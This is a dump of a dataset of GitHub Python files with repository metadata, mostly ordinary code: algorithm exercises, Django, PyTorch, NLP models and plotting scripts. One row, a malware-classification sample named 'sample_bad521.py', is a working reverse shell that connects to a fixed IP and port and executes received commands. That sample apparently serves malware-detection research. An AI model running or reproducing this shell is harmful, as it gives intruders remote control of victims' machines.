blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
b0e8c836109d264b9070d9ce379220340b3b201f
1b14a8d85d0294c177082e2032b9a7535c31a499
/05_동적계획/06_문제_금광.py
7c75a962b38f5ef47854fd9cd821a194f931d3b8
[]
no_license
Do-code-ing/DongBinNa_Algorithm
c991c1befd665a744c53858c79ee0397b4a64516
b5980dc20718eed439533230ce25d6766c436202
refs/heads/main
2023-08-16T18:02:16.793169
2021-08-14T10:37:01
2021-08-14T10:37:01
360,163,517
0
0
null
null
null
null
UTF-8
Python
false
false
2,738
py
# <문제> 금광: 문제 설명 # n * m 크기의 금광이 있습니다. # 금광은 1 * 1 크기의 칸으로 나누어져 있으며, 각 칸은 특정한 크기의 금이 들어 있습니다. # 채굴자는 첫 번째 열부터 출발하여 금을 캐기 시작합니다. # 맨 처음에는 첫 번째 열의 어느 행에서든 출발할 수 있습니다. # 이후에 m-1버에 걸쳐서 매번 오른쪽 위, 오른쪽, 오른쪽 아래 3가지 중 하나의 위치로 이동해야 합니다. # 결과적으로 채굴자가 얻을 수 있는 금의 최대 크기를 출력하는 프로그램을 작성하세요. # for _ in range(int(input())): # n, m ...
[ "zxcvbn658@naver.com" ]
zxcvbn658@naver.com
7a957051d133fb62233f93d42b68f513ed1450d6
c407f1f724be7e3bb8c7152ba7246c4dd951ec02
/utils/visualize.py
1dc1be4e1d110e2acd41ec89e9139076e3c9d4ac
[]
no_license
Jittor/TrafficSignDetection
11daa5dd69e3d6a8b5859ef34edb9d99c03f12c0
a16d1c5a79cbc3473325e3391e242d22e10a5959
refs/heads/master
2023-03-22T17:30:07.128928
2021-03-06T13:05:13
2021-03-06T13:05:13
334,811,594
12
8
null
null
null
null
UTF-8
Python
false
false
3,993
py
import cv2 import matplotlib.pyplot as plt import numpy as np import os from utils.box_ops import calculate_ious def draw_box(img,box,text,color): box = [int(x) for x in box] img = cv2.rectangle(img=img, pt1=tuple(box[0:2]), pt2=tuple(box[2:]), color=color, thickness=1) img = cv2.putText(img=img, text=t...
[ "1905692338@qq.com" ]
1905692338@qq.com
2505d16489bebaf67ada46261f831d0c1d2fa721
d4611c4886d757eb77da1f8694f72b9659eb8562
/torpido/ffpbar/progress.py
38d9fe961b833f2e9f53ed1ad7189cb3d83fcbc5
[ "Unlicense" ]
permissive
p00pcvm/Torpido
8312b748652bf0deea975e933bb78d87bf3a1d33
a646b4d6de7f2e2c96de4c64ce3113f53e3931c2
refs/heads/master
2023-05-10T10:18:43.273488
2021-06-16T06:17:41
2021-06-16T06:17:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,605
py
""" This file defines the progress bar from tqdm and updates it according to the FFmpeg logs based on the time and duration in the logs. Command that have dynamic lengths like multiple trims and concatenation the progress cannot be predicted so the progress bar does not accurately detects the progress. """ from tqdm i...
[ "atulpatare99@gmail.com" ]
atulpatare99@gmail.com
d21291652fcd8eed70cbee5188d4ae74618d061d
63559839115cc649d206df569d6b07eb42dc053b
/swipe/_db/migrations/0014_alter_house_sales_department.py
ba316b072313a76955d2f850fb1969361dbab661
[]
no_license
Chenger1/SwipeRestApi
a076738a7c591227069c744c55006187b919fd09
d3f74e131a4a3ac33ae8656edb49ee68ed67aa97
refs/heads/main
2023-07-11T06:51:58.456708
2021-08-13T19:06:12
2021-08-13T19:06:12
383,131,022
0
0
null
2021-08-12T21:40:04
2021-07-05T12:18:36
Python
UTF-8
Python
false
false
491
py
# Generated by Django 3.2.5 on 2021-07-12 18:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('_db', '0013_user_ban'), ] operations = [ migrations.AlterField( model_name='house', ...
[ "exs2199@gmail.com" ]
exs2199@gmail.com
359732ae5caaf68b529a2a96926d1717ff617ca9
25870a75349c2a983801cf45757c65cd0f14c626
/Base_Corporation_App.py
a58ddf01c14e7a0193cd3cfbde6f7188ec403290
[]
no_license
fuzzygwalchmei/CorporationApp
5cc1c8eefa4d9bb791f3fc31d544c975bd27de7f
90c7c257f54c2cc853e38abc5af7fe109e8db4a7
refs/heads/master
2020-03-25T07:42:17.750655
2019-04-23T03:34:45
2019-04-23T03:34:45
143,577,102
0
0
null
null
null
null
UTF-8
Python
false
false
897
py
from kivy.app import App from kivy.uix.spinner import Spinner from kivy.uix.button import Button from kivy.uix.label import Label from kivy.uix.screenmanager import Screen from random import randint from NPC_generator import * from kivy.properties import NumericProperty, StringProperty, BooleanProperty,\ ListProper...
[ "marc.falzon@gmail.com" ]
marc.falzon@gmail.com
73c66f71d79e0ee6cbf2c4a05c513c677cb04a45
c963f625665e84b63e9fdc7e2ee00e99553580db
/src/recognizer.py
293b6c1fa328da239d085ee005bf6ee65485ab14
[]
no_license
sjdeak/CVCracker
e8a853b7daca87c03ad436311c6c7303bb618ac5
585f918da9969e17f3ecd922048e1f84e8cc4287
refs/heads/master
2020-07-21T21:12:00.511345
2019-09-07T13:47:41
2019-09-07T13:47:41
206,975,070
0
0
null
null
null
null
UTF-8
Python
false
false
1,643
py
import cv2 class Recognizer: def __init__(self, imname, already_read=False): """ :param imname: already_read=False时时待处理图片的文件路径,already_read=True时是已读入的图片 :param already_read: 表示imname的类型 """ self.raw_im = imname if already_read else cv2.imread(imname) self.im = None ...
[ "sjdeak@yahoo.com" ]
sjdeak@yahoo.com
9ca28c04e32b9316d1e6e0f9e337e5a718f59003
6891ebea6680374663a8855d7bd89cfc84c582e7
/superbench/benchmarks/model_benchmarks/pytorch_cnn.py
77a70ed8de1fd5957e9ff1104bd58eb6ea6962a5
[ "MIT" ]
permissive
QPC-database/superbenchmark
431b9df3e14d24fcb20a05f7048f2a417e47e51b
43620c3f46701d11514901e5c238d7a571ab3ea9
refs/heads/main
2023-06-12T13:25:45.908845
2021-07-02T16:18:30
2021-07-02T16:18:30
383,307,454
1
0
MIT
2021-07-06T01:41:14
2021-07-06T01:41:13
null
UTF-8
Python
false
false
6,308
py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. """Module of the Pytorch CNN models.""" import time import torch from torchvision import models from superbench.common.utils import logger from superbench.benchmarks import BenchmarkRegistry, Precision from superbench.benchmarks.model_benchmar...
[ "noreply@github.com" ]
QPC-database.noreply@github.com
ec58d2917b79d2ad6a0939956d79da861f6a7b75
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02682/s684375067.py
117cc2b0c5642eb9878cc0118202826fe1d6b213
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
def main(): a, b, c, k = (int(i) for i in input().split()) ans = min(a, k) k -= a if k <= 0: print(ans) return k -= b if k <= 0: print(ans) return print(ans - k) if __name__ == '__main__': main()
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
25ac9e37577bf31ae79b89658a66a884809af3b1
4f09233f5c3e0e58b9be6564b25b151e3d213ba3
/pipeline/views.py
9a65b97f7a8458ffca75e67663ad65616fe099d9
[]
no_license
Akinbami/Django-Leaking-Pipeline-Simulator
577c30ce133f95ee95c2d06dad73bfd5e96c505c
1c560edc466545e9d2368cbdf491054a7d5a8ef8
refs/heads/master
2022-12-02T19:33:46.822001
2018-05-26T00:07:03
2018-05-26T00:07:03
286,982,589
0
0
null
null
null
null
UTF-8
Python
false
false
3,746
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render from django.contrib import messages from django.contrib.contenttypes.models import ContentType from django.contrib.auth.decorators import login_required from django.core.paginator import Paginator, EmptyPage, PageNotAnI...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
6091d32f1faa3465a9a18e4a9da1430f0bd01c0c
cf457dacc75ade598d52a4cfd58c2120192da84c
/Python1808/第一阶段/day2-Python语法基础/老师版/03-python常用数据类型.py
d569130acda2e1b4dbfd3167763b5f5ed286d618
[]
no_license
LYblogs/python
b62608d73eb0a5a19306cabd4fd5706806fd557b
1ee0bcecc3a78c6d2b191600872a1177e9c8df60
refs/heads/master
2020-04-12T10:12:01.478382
2018-12-19T10:59:47
2018-12-19T10:59:47
162,422,214
0
1
null
null
null
null
UTF-8
Python
false
false
2,458
py
"""__author__ = 余婷""" # python中常用的数据类型有:整型、浮点型、布尔、字符串、列表、字典、元祖、集合、函数等.... # 1.常见数据类型的字面量(常量) """ 整型: 100, 23, -129 -- 所有的整数 浮点型: 12.3, 45.0, -0.1123 -- 所有的小数 布尔: True, False -- 只有两个值 字符串: 'abc', "ahjs", '348sj', "上的+-" -- 由双引号或者单引号括起来的内容 列表: [12, 'abc', True] 元祖:(23, 89, 'asd') 字典:{'ab': 120, 18:'abc'} """ 100 12....
[ "2271032145@qq.com" ]
2271032145@qq.com
0b45ef0e4774407c05f924eaeb4d52f06e6444b0
68b1ca9762ee9e11219ea8ebfa8b4648b1f2310d
/biosteam/units/design_tools/batch.py
47ae99592434f3244f0e7cf4feaafbb2ca37d2a2
[ "MIT", "NCSA", "LicenseRef-scancode-unknown-license-reference" ]
permissive
tylerhuntington222/biosteam
2e342c0a058c55d84ef2e69136ef8509ac73a92b
234959180a3210d95e39a012454f455723c92686
refs/heads/master
2022-11-21T23:17:44.821961
2020-07-24T20:05:16
2020-07-24T20:05:16
282,294,293
0
0
NOASSERTION
2020-07-24T20:05:18
2020-07-24T18:52:17
null
UTF-8
Python
false
false
1,681
py
# -*- coding: utf-8 -*- # BioSTEAM: The Biorefinery Simulation and Techno-Economic Analysis Modules # Copyright (C) 2020, Yoel Cortes-Pena <yoelcortes@gmail.com> # # This module is under the UIUC open-source license. See # github.com/BioSTEAMDevelopmentGroup/biosteam/blob/master/LICENSE.txt # for license details. """...
[ "yoelcortes@gmail.com" ]
yoelcortes@gmail.com
39579d87c788f7d695d297572aea965a64555132
9644572133b4cde92745a6c2320069bce926f715
/general_ocr/core/bbox/iou_calculators/__init__.py
fa74d11dd2cd80cedf5bd061bb36e1a5b81cbfcb
[]
no_license
hnhoangdz/general_ocr
b79306f8078556cdc83690d1d5e19baff30dc878
8975731cbc7065aa1825bf857c33b90ad0140c49
refs/heads/main
2023-08-16T09:41:56.444851
2021-10-19T09:09:44
2021-10-19T09:09:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
222
py
# Copyright (c) GeneralOCR. All rights reserved. from .builder import build_iou_calculator from .iou2d_calculator import BboxOverlaps2D, bbox_overlaps __all__ = ['build_iou_calculator', 'BboxOverlaps2D', 'bbox_overlaps']
[ "towarddatascience@gmail.com" ]
towarddatascience@gmail.com
4825091e9593d2c1cfa3e087e8bfac0db3324a4d
cc5a3fa80d2ae90afc2626e4a82b9a927726dfa0
/huaweicloud-sdk-ocr/huaweicloudsdkocr/v1/model/recognize_web_image_request.py
a386ef39973124aced32ea727ee21ea39ab1e77e
[ "Apache-2.0" ]
permissive
Logan118/huaweicloud-sdk-python-v3
eca15e9b08bdccef7122e40735d444ddc958efa8
bb230c03bd00225b9f5780a56adce596e9456420
refs/heads/master
2023-07-17T14:57:50.799564
2021-08-25T10:40:43
2021-08-25T10:40:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,854
py
# coding: utf-8 import re import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class RecognizeWebImageRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): T...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
7615a726d4993c091e631ae85666eb24c1140482
f991b6f8d24a9537821e9cc99369abd96119ccb4
/videos/migrations/0004_auto_20210227_1218.py
fe7edf5ced1582a800834fea47201de2eca81157
[]
no_license
luqmantuke/Faulu-Hub
01c0aec5d96b45702835d5150400f91f2b530384
b00c48399f4e8ef514d5f6e52d493db253d23242
refs/heads/master
2023-07-11T08:43:34.712484
2021-08-20T17:43:33
2021-08-20T17:43:33
322,248,726
0
0
null
null
null
null
UTF-8
Python
false
false
501
py
# Generated by Django 3.1.4 on 2021-02-27 12:18 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('videos', '0003_topic_image'), ] operations = [ migrations.AlterModelOptions( name='topic', options={'ordering': ['or...
[ "lsuleiman2002@gmail.com" ]
lsuleiman2002@gmail.com
1ff26302966b5d662b57ed0aaab8f486f99202b0
487ce91881032c1de16e35ed8bc187d6034205f7
/codes/CodeJamCrawler/16_0_2_neat/16_0_2_Lehych_solution.py
6677e116d6359837e5ff175167d4b5bced23bd42
[]
no_license
DaHuO/Supergraph
9cd26d8c5a081803015d93cf5f2674009e92ef7e
c88059dc66297af577ad2b8afa4e0ac0ad622915
refs/heads/master
2021-06-14T16:07:52.405091
2016-08-21T13:39:13
2016-08-21T13:39:13
49,829,508
2
0
null
2021-03-19T21:55:46
2016-01-17T18:23:00
Python
UTF-8
Python
false
false
581
py
#!/usr/bin/env python import sys def main(testcase): result = 0 prev = testcase[0] for i, digit in enumerate(testcase[1:]): if digit != prev and digit == '+': result += 1 elif digit != prev and digit == '-': result += 1 prev = digit result += (1 if prev=...
[ "[dhuo@tcd.ie]" ]
[dhuo@tcd.ie]
747911d887cb30790f696eb2d6e874650aef21dc
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_grossest.py
6fb50349a04880a3c86c3f3a58b1134c8e935e7e
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
235
py
from xai.brain.wordbase.verbs._gross import _GROSS #calss header class _GROSSEST(_GROSS, ): def __init__(self,): _GROSS.__init__(self) self.name = "GROSSEST" self.specie = 'verbs' self.basic = "gross" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
22b14e3b76db3794547b69e654ed00cea84be4f2
4910f572541d984f840295ce9586b7122cf9e519
/official/nlp/modeling/models/bert_classifier.py
05aec321ff90537c323019223d829eb4301f404f
[ "Apache-2.0" ]
permissive
metterlein/models
4aa44088e3b1dd0dabd0fcb3e2ed644bd68c32a0
da4aca1c50698c021340db8e71476ce3a35ab8eb
refs/heads/master
2022-12-12T21:15:26.040535
2020-09-09T06:01:09
2020-09-09T06:04:01
294,050,521
1
1
Apache-2.0
2020-09-09T08:28:11
2020-09-09T08:28:10
null
UTF-8
Python
false
false
4,350
py
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
9ae8a247df582674cb9ae7321ada0cfccd802bd3
dd098f8a93f787e38676283679bb39a290ba28b4
/samples/openapi3/client/3_0_3_unit_test/python-experimental/unit_test_api/paths/request_body_post_allof_with_two_empty_schemas_request_body/post.py
c7c13b638b03e63d0966b42edbc498516edc1616
[ "Apache-2.0" ]
permissive
InfoSec812/openapi-generator
727c0235d3bad9b85ac12068808f844287af6003
e0c72702c3d5dae2a627a2926f0cddeedca61e32
refs/heads/master
2022-10-22T00:31:33.318867
2022-08-20T14:10:31
2022-08-20T14:10:31
152,479,633
1
0
Apache-2.0
2023-09-04T23:34:09
2018-10-10T19:38:43
Java
UTF-8
Python
false
false
5,124
py
# coding: utf-8 """ Generated by: https://openapi-generator.tech """ from dataclasses import dataclass import re # noqa: F401 import sys # noqa: F401 import typing import urllib3 import functools # noqa: F401 from urllib3._collections import HTTPHeaderDict from unit_test_api import api_client, exceptions im...
[ "noreply@github.com" ]
InfoSec812.noreply@github.com
4b03cdd9f85f8a85388a774c5fe33f8a3be36163
bb33e6be8316f35decbb2b81badf2b6dcf7df515
/source/res/scripts/client/gui/Scaleform/daapi/view/meta/EventTimerMeta.py
6af74d58311aaaed264a5c85b7a62bcf55ffaf67
[]
no_license
StranikS-Scan/WorldOfTanks-Decompiled
999c9567de38c32c760ab72c21c00ea7bc20990c
d2fe9c195825ececc728e87a02983908b7ea9199
refs/heads/1.18
2023-08-25T17:39:27.718097
2022-09-22T06:49:44
2022-09-22T06:49:44
148,696,315
103
39
null
2022-09-14T17:50:03
2018-09-13T20:49:11
Python
UTF-8
Python
false
false
904
py
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/EventTimerMeta.py from gui.Scaleform.framework.entities.BaseDAAPIComponent import BaseDAAPIComponent class EventTimerMeta(BaseDAAPIComponent): def as_updateTimeS(self, value): return self....
[ "StranikS_Scan@mail.ru" ]
StranikS_Scan@mail.ru
7a4d68201c52eeb4c2c74d894a4ae10de47ad721
a83bafc38b514a0339a5991be15870551ac49681
/test/test_raw_material_options_request.py
e4b1786986a00fd12ca2dd5e920dcd50ce2dbfa4
[]
no_license
bimdata/python-api-client
4ec2f81e404ef88d3a7e4d08e18965b598c567a2
c9b6ea0fbb4729b2a1c10522bdddfe08d944739d
refs/heads/master
2023-08-17T13:38:43.198097
2023-08-09T12:48:12
2023-08-09T12:48:12
131,603,315
0
4
null
2022-10-10T15:21:26
2018-04-30T14:06:15
Python
UTF-8
Python
false
false
1,000
py
""" BIMData API BIMData API is a tool to interact with your models stored on BIMData’s servers. Through the API, you can manage your projects, the clouds, upload your IFC files and manage them through endpoints. # noqa: E501 The version of the OpenAPI document: v1 (v1) Contact: support@bimdata.io...
[ "infra@bimdata.io" ]
infra@bimdata.io
65a38e44a35f55f96acd4af467fe2468dcfb48e8
19ee165c252970294333e203728020cdcae550b3
/abc143/abc143_b/20191019210632.py
4af6575620199a704c37e4d041044fb239c9de80
[]
no_license
autumncolors11/atc_submits
4528c700e488d530f9cdde3a4198f36b30c3d35e
6f9689b6d7de45fd4e44ad118e4e3531bb8dac4d
refs/heads/master
2022-11-28T17:59:55.750896
2020-08-09T14:10:05
2020-08-09T14:10:05
258,122,955
0
0
null
null
null
null
UTF-8
Python
false
false
189
py
n = int(input()) arr = list(map(int,input().split())) count = 0 for i in range(n-1): for j in range(i+1,n): count += arr[i]*arr[j] print(count)
[ "biomimetics500tour@gmail.com" ]
biomimetics500tour@gmail.com
5f8bcc6ee9fe0cae2040c2086e73fbd08a262483
3a28b1a12d0710c06f6360381ad8be6cf3707907
/modular_model/triHPC/triHPCThermo/HPCAllTrays11CstmVapN2_pP.py
b3fe763d81fb6dba833979032c4ce8e6ef37f9b0
[]
no_license
WheatZhang/DynamicModelling
6ce1d71d3b55176fd4d77a6aedbaf87e25ce4d02
ea099245135fe73e8c9590502b9c8b87768cb165
refs/heads/master
2020-06-15T14:12:50.373047
2019-07-05T01:37:06
2019-07-05T01:37:06
195,319,788
4
0
null
null
null
null
UTF-8
Python
false
false
237
py
def VapN2_pP(P,T,x_N2): x = (P-5.57619024e+02)/3.71707300e-01 y = (T--1.76727421e+02)/7.47418000e-02 z = (x_N2-8.82992808e-01)/1.16572095e-02 output = \ 1*-1.49447101e-03 y_N2 = output*1.00000000e+00+0.00000000e+00 return y_N2
[ "1052632241@qq.com" ]
1052632241@qq.com
1ff47af07345f26a4e65a2678a02ca48f0b48f1b
5a9c19c8ff43a37549c187bd1a1f28ca3ea8c5f9
/Diena_16_misc/hello_flask.py
e5e7486c811483fd2ae67159115a7e7a8a466e5c
[ "MIT" ]
permissive
komunikator1984/Python_RTU_08_20
a570e5a1b15b9289f277173245be1b189828adbf
773314e2586cc63fcb659aa8466bad7d3f8910c9
refs/heads/master
2023-07-22T04:24:56.544299
2021-08-30T18:02:38
2021-08-30T18:02:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
391
py
from flask import Flask from markupsafe import escape app = Flask(__name__) @app.route('/') def hello_world(): return 'Hello, World!' @app.route('/user/<username>') def show_user_profile(username): # show the user profile for that user return f"Hello User <strong>{escape(username)}</strong>" # remember we...
[ "valdis.s.coding@gmail.com" ]
valdis.s.coding@gmail.com
0a07ab3625d9a761f2b42f8779e28f4968cfbb2f
8a486a1fd24f516768a8dac5a347aae1c3998101
/347-top-k-frequent-elements/top-k-frequent-elements.py
a22d31009c177b3e2bd1f7bad1c48736bb13c94a
[]
no_license
qujay/leetcode
962508643b491fa5505f25775186f8a6ed7ba74b
bcc8e30e6e7fe14db366030e0b2b5bf65c2ea337
refs/heads/master
2020-03-11T13:33:58.758012
2018-04-13T02:59:15
2018-04-13T02:59:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
882
py
# -*- coding:utf-8 -*- # # Given a non-empty array of integers, return the k most frequent elements. # # For example, # Given [1,1,1,2,2,3] and k = 2, return [1,2]. # # # Note: # # You may assume k is always valid, 1 &le; k &le; number of unique elements. # Your algorithm's time complexity must be better than O...
[ "foreverbonfy@163.com" ]
foreverbonfy@163.com
77fcad01d265b795e291ef33eed076161e3090c4
9e549ee54faa8b037f90eac8ecb36f853e460e5e
/venv/lib/python3.6/site-packages/future/backports/email/mime/nonmultipart.py
0162317f09466dcab870a9d4252a286c0372a9a7
[ "MIT" ]
permissive
aitoehigie/britecore_flask
e8df68e71dd0eac980a7de8c0f20b5a5a16979fe
eef1873dbe6b2cc21f770bc6dec783007ae4493b
refs/heads/master
2022-12-09T22:07:45.930238
2019-05-15T04:10:37
2019-05-15T04:10:37
177,354,667
0
0
MIT
2022-12-08T04:54:09
2019-03-24T00:38:20
Python
UTF-8
Python
false
false
841
py
# Copyright (C) 2002-2006 Python Software Foundation # Author: Barry Warsaw # Contact: email-sig@python.org """Base class for MIME type messages that are not multipart.""" from __future__ import unicode_literals from __future__ import division from __future__ import absolute_import __all__ = ["MIMENonMultipart"] fro...
[ "aitoehigie@gmail.com" ]
aitoehigie@gmail.com
a05bd975a858df74a46d24bd6c98134e744955f0
bb33e6be8316f35decbb2b81badf2b6dcf7df515
/source/res/scripts/client/gui/impl/lobby/demount_kit/demount_single_price_dialog.py
bb281fdcf244386dd0a17a6b1ae9c0a90fe2a1ab
[]
no_license
StranikS-Scan/WorldOfTanks-Decompiled
999c9567de38c32c760ab72c21c00ea7bc20990c
d2fe9c195825ececc728e87a02983908b7ea9199
refs/heads/1.18
2023-08-25T17:39:27.718097
2022-09-22T06:49:44
2022-09-22T06:49:44
148,696,315
103
39
null
2022-09-14T17:50:03
2018-09-13T20:49:11
Python
UTF-8
Python
false
false
4,098
py
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/client/gui/impl/lobby/demount_kit/demount_single_price_dialog.py import typing from gui.goodies.demount_kit import getDemountKitForOptDevice from gui.goodies.goodie_items import DemountKit from gui.impl.dialogs.dialog_template import Dialo...
[ "StranikS_Scan@mail.ru" ]
StranikS_Scan@mail.ru
dcd35173aee6b138da415cc048fd3c394619bf09
2c872fedcdc12c89742d10c2f1c821eed0470726
/pbase/day20/code/text2.py
8e099b87b482c2a3c78cf737f02926ab99469ba1
[]
no_license
zuigehulu/AID1811
581c3c7a37df9fa928bc632e4891fc9bafe69201
10cab0869875290646a9e5d815ff159d0116990e
refs/heads/master
2020-04-19T16:33:04.174841
2019-01-30T07:58:24
2019-01-30T07:58:24
168,307,918
1
0
null
null
null
null
UTF-8
Python
false
false
1,607
py
# 实现有序集合类 OrderSet() 能实现两个集合的交集 & # 并集| 补集 - 对称补集 ^, ==,!= in ,not in 等操作 # 要就:集合内部用list存储数据 class OrderSet: def __init__(self,val): self.val = [x for x in val] def __repr__(self): return 'OrderSet(%s)'%self.val def __and__(self,rhs): L = [] for x in self.val: if ...
[ "442315617@qq.com" ]
442315617@qq.com
a665c6384b63ac5e32e539f327e7903a1397ebd5
98a7b8c539d17946e361495ebb5eed3d83727e38
/variation/trunk/web_interface/Variation.SNP250k/Variation/SNP250k/content/phenotype.py
c8022409e462c606ecebc3e3e52431bead95c6e9
[]
no_license
polyactis/repos
8a6a9703ca9ec2f9b75fb5bda06d4d29aace19c1
7b402496aae81665e6a915b5021b94d56e034c9d
refs/heads/master
2020-12-08T16:30:24.175800
2013-02-27T19:45:20
2013-02-27T19:45:20
8,463,267
1
1
null
null
null
null
UTF-8
Python
false
false
4,749
py
"""Definition of the Film content type. See cinemafolder.py for more explanation on the statements below. """ from zope.interface import implements, directlyProvides from zope.component import adapts from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleVocabulary from zope.sc...
[ "yh@c5b91a9c-90b7-4db6-b2ac-9ef0fe68db40" ]
yh@c5b91a9c-90b7-4db6-b2ac-9ef0fe68db40
0f0b39ee06876178af19c137d801b21d67e04d67
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad521.py
de8f80ce73a4c65eb74d26a5fce319ebbd99590f
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
314
py
import zlib import crypt import socket import subprocess import zipfile import bz2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
0cc06b14c501a804ffe9e22bf76c7b33ec52f62e
49d2b8df9b98c9727789daeb4321b6b1ec8be4b8
/plots/singleLep.py
1675ca0c4b5cc212e0e89bb07aeae59dc0f0d1b2
[]
no_license
danbarto/tW_scattering
2fea3b26e9e1cb95ba272cde45bd02d5cc832373
e3b335c2e9a0dcb9e08ef56a2546dd7f40d276ba
refs/heads/master
2023-08-24T00:23:25.763659
2023-08-11T20:48:02
2023-08-11T20:48:02
241,909,033
0
9
null
2023-01-30T20:40:26
2020-02-20T14:45:10
Python
UTF-8
Python
false
false
7,918
py
''' small script that reades histograms from an archive and saves figures in a public space ToDo: [x] Cosmetics (labels etc) [x] ratio pad! [x] pseudo data [ ] -> move to processor to avoid drawing toys every time! [x] uncertainty band [ ] fix shapes ''' from coffea import hist import pandas as pd import os i...
[ "daniel.spitzbart@cern.ch" ]
daniel.spitzbart@cern.ch
02d09da67cc228655601028fddaf3051b6cb1e4e
b6d4cd1e04ad6d956a46f02e32f4cee384228b1d
/Benchmark functions/rastrigin.py
ca317a2d8dcb9f2e4e0865b3a0962515fc125eb5
[]
no_license
nickedes/Chaotically-Initialized-Bfo
02fcfd944da1898eecc01db25616049a117131fd
c0454164164306f2c4169d406ed992041fdd3c6b
refs/heads/master
2021-01-17T22:53:16.919174
2016-06-04T07:12:43
2016-06-04T07:12:43
42,680,685
1
0
null
null
null
null
UTF-8
Python
false
false
257
py
# RASTRIGIN FUNCTION # Input Domain: [-5.12, 5.12] from math import cos, pi from sphere import normalization def rastrigin(x): x = normalization(x) result = 0 for elem in x: result += elem**2 - 10*cos(2*pi*elem) + 10 return result
[ "nkmittal4994@gmail.com" ]
nkmittal4994@gmail.com
c7dfaf2baca34efd728ab95b36331f946a4019da
a4deea660ea0616f3b5ee0b8bded03373c5bbfa2
/executale_binaries/register-variants/vpaddb_xmm_xmm_xmm.gen.vex.py
da60cce705883dc9fcecce65db8794bd4d72801b
[]
no_license
Vsevolod-Livinskij/x86-64-instruction-summary
4a43472e26f0e4ec130be9a82f7e3f3c1361ccfd
c276edab1b19e3929efb3ebe7514489f66087764
refs/heads/master
2022-02-02T18:11:07.818345
2019-01-25T17:19:21
2019-01-25T17:19:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
162
py
import angr proj = angr.Project('vpaddb_xmm_xmm_xmm.exe') print proj.arch print proj.entry print proj.filename irsb = proj.factory.block(proj.entry).vex irsb.pp()
[ "sdasgup3@illinois.edu" ]
sdasgup3@illinois.edu
dad294341f0b5045b7a257176a9abc8917bc5546
6e5ab77fee1fb4a0310213dd8c6dd8601828b1b9
/Algorithm/Swea/D4_13736.py
76aabb52c8cefb72954c120c08f33ab60aeca4e6
[]
no_license
hongyong3/TIL
36d031c0da9e3e6db3eebb977bd3e12df00a849f
7f1492128e957a78fc95b255f4f7f2978161e471
refs/heads/master
2023-08-19T09:16:03.231757
2023-08-18T09:38:47
2023-08-18T09:38:47
162,100,258
1
0
null
2023-02-11T00:52:32
2018-12-17T08:42:42
Jupyter Notebook
UTF-8
Python
false
false
3,121
py
